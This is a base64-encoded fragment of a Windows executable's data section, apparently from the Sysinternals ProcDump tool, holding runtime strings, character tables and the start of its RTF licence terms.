ABzAHYALQBzAGUAAAAAAAAAcwB3AC0AawBlAAAAAAAAAHMAeQByAC0AcwB5AAAAAAB0AGEALQBpAG4AAAAAAAAAdABlAC0AaQBuAAAAAAAAAHQAaAAtAHQAaAAAAAAAAAB0AG4ALQB6AGEAAAAAAAAAdAByAC0AdAByAAAAAAAAAHQAdAAtAHIAdQAAAAAAAAB1AGsALQB1AGEAAAAAAAAAdQByAC0AcABrAAAAAAAAAHUAegAtAHUAegAtAGMAeQByAGwAAAAAAHUAegAtAHUAegAtAGwAYQB0AG4AAAAAAHYAaQAtAHYAbgAAAAAAAAB4AGgALQB6AGEAAAAAAAAAegBoAC0AYwBoAHMAAAAAAHoAaAAtAGMAaAB0AAAAAAB6AGgALQBjAG4AAAAAAAAAegBoAC0AaABrAAAAAAAAAHoAaAAtAG0AbwAAAAAAAAB6AGgALQBzAGcAAAAAAAAAegBoAC0AdAB3AAAAAAAAAHoAdQAtAHoAYQAAAAAAAAD///////8/Q////////z/DZXhwAHBvdwBsb2cAbG9nMTAAAABzaW5oAAAAAGNvc2gAAAAAdGFuaAAAAABhc2luAAAAAGFjb3MAAAAAYXRhbgAAAABhdGFuMgAAAHNxcnQAAAAAc2luAGNvcwB0YW4AY2VpbAAAAABmbG9vcgAAAGZhYnMAAAAAbW9kZgAAAABsZGV4cAAAAF9jYWJzAAAAZm1vZAAAAABmcmV4cAAAAF95MABfeTEAX3luAF9sb2diAAAAAAAAAF9uZXh0YWZ0ZXIAAAAAAAAAAAAAAAAAAMgrA0ABAAAA2CsDQAEAAADgKwNAAQAAAPArA0ABAAAAACwDQAEAAAAQLANAAQAAACAsA0ABAAAAMCwDQAEAAAA8LANAAQAAAEgsA0ABAAAAUCwDQAEAAABgLANAAQAAAHAsA0ABAAAAeiwDQAEAAAB8LANAAQAAAIgsA0ABAAAAkCwDQAEAAACULANAAQAAAJgsA0ABAAAAnCwDQAEAAACgLANAAQAAAKQsA0ABAAAAqCwDQAEAAACwLANAAQAAALwsA0ABAAAAwCwDQAEAAADELANAAQAAAMgsA0ABAAAAzCwDQAEAAADQLANAAQAAANQsA0ABAAAA2CwDQAEAAADcLANAAQAAAOAsA0ABAAAA5CwDQAEAAADoLANAAQAAAOwsA0ABAAAA8CwDQAEAAAD0LANAAQAAAPgsA0ABAAAA/CwDQAEAAAAALQNAAQAAAAQtA0ABAAAACC0DQAEAAAAMLQNAAQAAABAtA0ABAAAAFC0DQAEAAAAYLQNAAQAAABwtA0ABAAAAIC0DQAEAAAAkLQNAAQAAACgtA0ABAAAALC0DQAEAAAAwLQNAAQAAADQtA0ABAAAAOC0DQAEAAABILQNAAQAAAFgtA0ABAAAAYC0DQAEAAABwLQNAAQAAAIgtA0ABAAAAmC0DQAEAAACwLQNAAQAAANAtA0ABAAAA8C0DQAEAAAAQLgNAAQAAADAuA0ABAAAAUC4DQAEAAAB4LgNAAQAAAJguA0ABAAAAwC4DQAEAAADgLgNAAQAAAAgvA0ABAAAAKC8DQAEAAAA4LwNAAQAAADwvA0ABAAAASC8DQAEAAABYLwNAAQAAAHwvA0ABAAAAiC8DQAEAAACYLwNAAQAAAKgvA0ABAAAAyC8DQAEAAADoLwNAAQAAABAwA0ABAAAAODADQAEAAABgMANAAQAAAJAwA0ABAAAAsDADQAEAAADYMANAAQAAAAAxA0ABAAAAMDEDQAEAAABgMQNAAQAAAHosA0ABAAAAgDEDQAEAAACYMQNAAQAAALgxA0ABAAAA0DEDQAEAAADwMQNAAQAAAF9fYmFzZWQoAAAAAAAAAABfX2NkZWNsAF9fcGFzY2FsAAAAAAAAAABfX3N0ZGNhbGwAAAAAAAAAX190aGlzY2FsbAAAAAAAAF9fZmFzdGNhbGwAAAAAAABfX3ZlY3RvcmNhbGwAAAAAX19jbHJjYWxsAAAAX19lYWJpAAAAAAAAX19wdHI2NABfX3Jlc3RyaWN0AAAAAAAAX191bmFsaWduZWQAAAAAAHJlc3RyaWN0KAAAACBuZXcAAAAAAAAAACBkZWxldGUAPQAAAD4+AAA8PAAAIQAAAD09AAAhPQAAW10AAAAAAABvcGVyYXRvcgAAAAAtPgAAKgAAACsrAAAtLQAALQAAACsAAAAmAAAALT4qAC8AAAAlAAAAPAAAADw9AAA+AAAAPj0AACwAAAAoKQAAfgAAAF4AAAB8AAAAJiYAAHx8AAAqPQAAKz0AAC09AAAvPQAAJT0AAD4+PQA8PD0AJj0AAHw9AABePQAAYHZmdGFibGUnAAAAAAAAAGB2YnRhYmxlJwAAAAAAAABgdmNhbGwnAGB0eXBlb2YnAAAAAAAAAABgbG9jYWwgc3RhdGljIGd1YXJkJwAAAABgc3RyaW5nJwAAAAAAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHZlY3RvciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgRUgAYFJUVEkAAAAAAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAAAAAACBkZWxldGVbXQAAAAAAAABgb21uaSBjYWxsc2lnJwAAYHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZScAAAAAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAGBkeW5hbWljIGluaXRpYWxpemVyIGZvciAnAAAAAAAAYGR5bmFtaWMgYXRleGl0IGRlc3RydWN0b3IgZm9yICcAAAAAAAAAAGB2Z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DEwLjAuMTAyNDB9XHZpZXdraW5kNFx1YzEgAAAAAAAAAFxwYXJkXGJyZHJiXGJyZHJzXGJyZHJ3MTBcYnJzcDIwIFxzYjEyMFxzYTEyMFxiXGYwXGZzMjQgU1lTSU5URVJOQUxTIFNPRlRXQVJFIExJQ0VOU0UgVEVSTVNcZnMyOFxwYXIAAAAAAAAAAAAAAABccGFyZFxzYjEyMFxzYTEyMFxiMFxmczE5IFRoZXNlIGxpY2Vuc2UgdGVybXMgYXJlIGFuIGFncmVlbWVudCBiZXR3ZWVuIFN5c2ludGVybmFscyAoYSB3aG9sbHkgb3duZWQgc3Vic2lkaWFyeSBvZiBNaWNyb3NvZnQgQ29ycG9yYXRpb24pIGFuZCB5b3UuICBQbGVhc2UgcmVhZCB0aGVtLiAgVGhleSBhcHBseSB0byB0aGUgc29mdHdhcmUgeW91IGFyZSBkb3dubG9hZGluZyBmcm9tIFN5c3RpbnRlcm5hbHMuY29tLCB3aGljaCBpbmNsdWRlcyB0aGUgbWVkaWEgb24gd2hpY2ggeW91IHJlY2VpdmVkIGl0LCBpZiBhbnkuICBUaGUgdGVybXMgYWxzbyBhcHBseSB0byBhbnkgU3lzaW50ZXJuYWxzXHBhcgAAAFxwYXJkXGZpLTM2M1xsaTcyMFxzYjEyMFxzYTEyMFx0eDcyMFwnYjdcdGFiIHVwZGF0ZXMsXHBhcgAAAAAAAABccGFyZFxmaS0zNjNcbGk3MjBcc2IxMjBcc2ExMjBcJ2I3XHRhYiBzdXBwbGVtZW50cyxccGFyAFwnYjdcdGFiIEludGVybmV0LWJhc2VkIHNlcnZpY2VzLCBhbmQgXHBhcgAAAAAAAFwnYjdcdGFiIHN1cHBvcnQgc2VydmljZXNccGFyAAAAXHBhcmRcc2IxMjBcc2ExMjAgZm9yIHRoaXMgc29mdHdhcmUsIHVubGVzcyBvdGhlciB0ZXJtcyBhY2NvbXBhbnkgdGhvc2UgaXRlbXMuICBJZiBzbywgdGhvc2UgdGVybXMgYXBwbHkuXHBhcgAAAFxiIEJZIFVTSU5HIFRIRSBTT0ZUV0FSRSwgWU9VIEFDQ0VQVCBUSEVTRSBURVJNUy4gIElGIFlPVSBETyBOT1QgQUNDRVBUIFRIRU0sIERPIE5PVCBVU0UgVEhFIFNPRlRXQVJFLlxwYXIAAAAAAABccGFyZFxicmRydFxicmRyc1xicmRydzEwXGJyc3AyMCBcc2IxMjBcc2ExMjAgSWYgeW91IGNvbXBseSB3aXRoIHRoZXNlIGxpY2Vuc2UgdGVybXMsIHlvdSBoYXZlIHRoZSByaWdodHMgYmVsb3cuXHBhcgAAAAAAAAAAAAAAAFxwYXJkXGZpLTM1N1xsaTM1N1xzYjEyMFxzYTEyMFx0eDM2MFxmczIwIDEuXHRhYlxmczE5IElOU1RBTExBVElPTiBBTkQgVVNFIFJJR0hUUy4gIFxiMCBZb3UgbWF5IGluc3RhbGwgYW5kIHVzZSBhbnkgbnVtYmVyIG9mIGNvcGllcyBvZiB0aGUgc29mdHdhcmUgb24geW91ciBkZXZpY2VzLlxiXHBhcgAAAAAAXGNhcHNcZnMyMCAyLlx0YWJcZnMxOSBTY29wZSBvZiBMaWNlbnNlXGNhcHMwIC5cYjAgICBUaGUgc29mdHdhcmUgaXMgbGljZW5zZWQsIG5vdCBzb2xkLiBUaGlzIGFncmVlbWVudCBvbmx5IGdpdmVzIHlvdSBzb21lIHJpZ2h0cyB0byB1c2UgdGhlIHNvZnR3YXJlLiAgU3lzaW50ZXJuYWxzIHJlc2VydmVzIGFsbCBvdGhlciByaWdodHMuICBVbmxlc3MgYXBwbGljYWJsZSBsYXcgZ2l2ZXMgeW91IG1vcmUgcmlnaHRzIGRlc3BpdGUgdGhpcyBsaW1pdGF0aW9uLCB5b3UgbWF5IHVzZSB0aGUgc29mdHdhcmUgb25seSBhcyBleHByZXNzbHkgcGVybWl0dGVkIGluIHRoaXMgYWdyZWVtZW50LiAgSW4gZG9pbmcgc28sIHlvdSBtdXN0IGNvbXBseSB3aXRoIGFueSB0ZWNobmljYWwgbGltaXRhdGlvbnMgaW4gdGhlIHNvZnR3YXJlIHRoYXQgb25seSBhbGxvdyB5b3UgdG8gdXNlIGl0IGluIGNlcnRhaW4gd2F5cy4gICAgWW91IG1heSBub3RcYlxwYXIAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXHR4NzIwXGIwXCdiN1x0YWIgd29yayBhcm91bmQgYW55IHRlY2huaWNhbCBsaW1pdGF0aW9ucyBpbiB0aGUgYmluYXJ5IHZlcnNpb25zIG9mIHRoZSBzb2Z0d2FyZTtccGFyAAAAAAAAAAAAAAAAAAAAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXCdiN1x0YWIgcmV2ZXJzZSBlbmdpbmVlciwgZGVjb21waWxlIG9yIGRpc2Fzc2VtYmxlIHRoZSBiaW5hcnkgdmVyc2lvbnMgb2YgdGhlIHNvZnR3YXJlLCBleGNlcHQgYW5kIG9ubHkgdG8gdGhlIGV4dGVudCB0aGF0IGFwcGxpY2FibGUgbGF3IGV4cHJlc3NseSBwZXJtaXRzLCBkZXNwaXRlIHRoaXMgbGltaXRhdGlvbjtccGFyAAAAAAAAAABcJ2I3XHRhYiBtYWtlIG1vcmUgY29waWVzIG9mIHRoZSBzb2Z0d2FyZSB0aGFuIHNwZWNpZmllZCBpbiB0aGlzIGFncmVlbWVudCBvciBhbGxvd2VkIGJ5IGFwcGxpY2FibGUgbGF3LCBkZXNwaXRlIHRoaXMgbGltaXRhdGlvbjtccGFyAAAAXCdiN1x0YWIgcHVibGlzaCB0aGUgc29mdHdhcmUgZm9yIG90aGVycyB0byBjb3B5O1xwYXIAAABcJ2I3XHRhYiByZW50LCBsZWFzZSBvciBsZW5kIHRoZSBzb2Z0d2FyZTtccGFyAABcJ2I3XHRhYiB0cmFuc2ZlciB0aGUgc29mdHdhcmUgb3IgdGhpcyBhZ3JlZW1lbnQgdG8gYW55IHRoaXJkIHBhcnR5OyBvclxwYXIAAAAAAFwnYjdcdGFiIHVzZSB0aGUgc29mdHdhcmUgZm9yIGNvbW1lcmNpYWwgc29mdHdhcmUgaG9zdGluZyBzZXJ2aWNlcy5ccGFyAAAAAAAAAAAAXHBhcmRcZmktMzU3XGxpMzU3XHNiMTIwXHNhMTIwXHR4MzYwXGJcZnMyMCAzLlx0YWIgU0VOU0lUSVZFIElORk9STUFUSU9OLiBcYjAgIFBsZWFzZSBiZSBhd2FyZSB0aGF0LCBzaW1pbGFyIHRvIG90aGVyIGRlYnVnIHRvb2xzIHRoYXQgY2FwdHVyZSBcbGRibHF1b3RlIHByb2Nlc3Mgc3RhdGVccmRibHF1b3RlICBpbmZvcm1hdGlvbiwgZmlsZXMgc2F2ZWQgYnkgU3lzaW50ZXJuYWxzIHRvb2xzIG1heSBpbmNsdWRlIHBlcnNvbmFsbHkgaWRlbnRpZmlhYmxlIG9yIG90aGVyIHNlbnNpdGl2ZSBpbmZvcm1hdGlvbiAoc3VjaCBhcyB1c2VybmFtZXMsIHBhc3N3b3JkcywgcGF0aHMgdG8gZmlsZXMgYWNjZXNzZWQsIGFuZCBwYXRocyB0byByZWdpc3RyeSBhY2Nlc3NlZCkuIEJ5IHVzaW5nIHRoaXMgc29mdHdhcmUsIHlvdSBhY2tub3dsZWRnZSB0aGF0IHlvdSBhcmUgYXdhcmUgb2YgdGhpcyBhbmQgdGFrZSBzb2xlIHJlc3BvbnNpYmlsaXR5IGZvciBhbnkgcGVyc29uYWxseSBpZGVudGlmaWFibGUgb3Igb3RoZXIgc2Vuc2l0aXZlIGluZm9ybWF0aW9uIHByb3ZpZGVkIHRvIE1pY3Jvc29mdCBvciBhbnkgb3RoZXIgcGFydHkgdGhyb3VnaCB5b3VyIHVzZSBvZiB0aGUgc29mdHdhcmUuXGJccGFyAAAANS4gXHRhYlxmczE5IERPQ1VNRU5UQVRJT04uXGIwICAgQW55IHBlcnNvbiB0aGF0IGhhcyB2YWxpZCBhY2Nlc3MgdG8geW91ciBjb21wdXRlciBvciBpbnRlcm5hbCBuZXR3b3JrIG1heSBjb3B5IGFuZCB1c2UgdGhlIGRvY3VtZW50YXRpb24gZm9yIHlvdXIgaW50ZXJuYWwsIHJlZmVyZW5jZSBwdXJwb3Nlcy5cYlxwYXIAAAAAAAAAAAAAXGNhcHNcZnMyMCA2Llx0YWJcZnMxOSBFeHBvcnQgUmVzdHJpY3Rpb25zXGNhcHMwIC5cYjAgICBUaGUgc29mdHdhcmUgaXMgc3ViamVjdCB0byBVbml0ZWQgU3RhdGVzIGV4cG9ydCBsYXdzIGFuZCByZWd1bGF0aW9ucy4gIFlvdSBtdXN0IGNvbXBseSB3aXRoIGFsbCBkb21lc3RpYyBhbmQgaW50ZXJuYXRpb25hbCBleHBvcnQgbGF3cyBhbmQgcmVndWxhdGlvbnMgdGhhdCBhcHBseSB0byB0aGUgc29mdHdhcmUuICBUaGVzZSBsYXdzIGluY2x1ZGUgcmVzdHJpY3Rpb25zIG9uIGRlc3RpbmF0aW9ucywgZW5kIHVzZXJzIGFuZCBlbmQgdXNlLiAgRm9yIGFkZGl0aW9uYWwgaW5mb3JtYXRpb24sIHNlZSB7XGNmMVx1bHtcZmllbGR7XCpcZmxkaW5zdHtIWVBFUkxJTksgd3d3Lm1pY3Jvc29mdC5jb20vZXhwb3J0aW5nIH19e1xmbGRyc2x0e3d3dy5taWNyb3NvZnQuY29tL2V4cG9ydGluZ319fX1cY2YxXHVsXGYwXGZzMTkgIDx7e1xmaWVsZHtcKlxmbGRpbnN0e0hZUEVSTElOSyAiaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL2V4cG9ydGluZyJ9fXtcZmxkcnNsdHtodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vZXhwb3J0aW5nfX19fVxmMFxmczE5ID5cY2YwXHVsbm9uZSAuXGJccGFyAAAAAAAAAAAAAAAAXGNhcHNcZnMyMCA3Llx0YWJcZnMxOSBTVVBQT1JUIFNFUlZJQ0VTLlxjYXBzMCAgXGIwIEJlY2F1c2UgdGhpcyBzb2Z0d2FyZSBpcyAiYXMgaXMsICIgd2UgbWF5IG5vdCBwcm92aWRlIHN1cHBvcnQgc2VydmljZXMgZm9yIGl0LlxiXHBhcgAAAAAAAAAAXGNhcHNcZnMyMCA4Llx0YWJcZnMxOSBFbnRpcmUgQWdyZWVtZW50LlxiMFxjYXBzMCAgIFRoaXMgYWdyZWVtZW50LCBhbmQgdGhlIHRlcm1zIGZvciBzdXBwbGVtZW50cywgdXBkYXRlcywgSW50ZXJuZXQtYmFzZWQgc2VydmljZXMgYW5kIHN1cHBvcnQgc2VydmljZXMgdGhhdCB5b3UgdXNlLCBhcmUgdGhlIGVudGlyZSBhZ3JlZW1lbnQgZm9yIHRoZSBzb2Z0d2FyZSBhbmQgc3VwcG9ydCBzZXJ2aWNlcy5ccGFyAAAAAAAAXHBhcmRca2VlcG5cZmktMzYwXGxpMzYwXHNiMTIwXHNhMTIwXHR4MzYwXGNmMlxiXGNhcHNcZnMyMCA5Llx0YWJcZnMxOSBBcHBsaWNhYmxlIExhd1xjYXBzMCAuXHBhcgAAAAAAAAAAAAAAAAAAAFxwYXJkXGZpLTM2M1xsaTcyMFxzYjEyMFxzYTEyMFx0eDcyMFxjZjBcZnMyMCBhLlx0YWJcZnMxOSBVbml0ZWQgU3RhdGVzLlxiMCAgIElmIHlvdSBhY3F1aXJlZCB0aGUgc29mdHdhcmUgaW4gdGhlIFVuaXRlZCBTdGF0ZXMsIFdhc2hpbmd0b24gc3RhdGUgbGF3IGdvdmVybnMgdG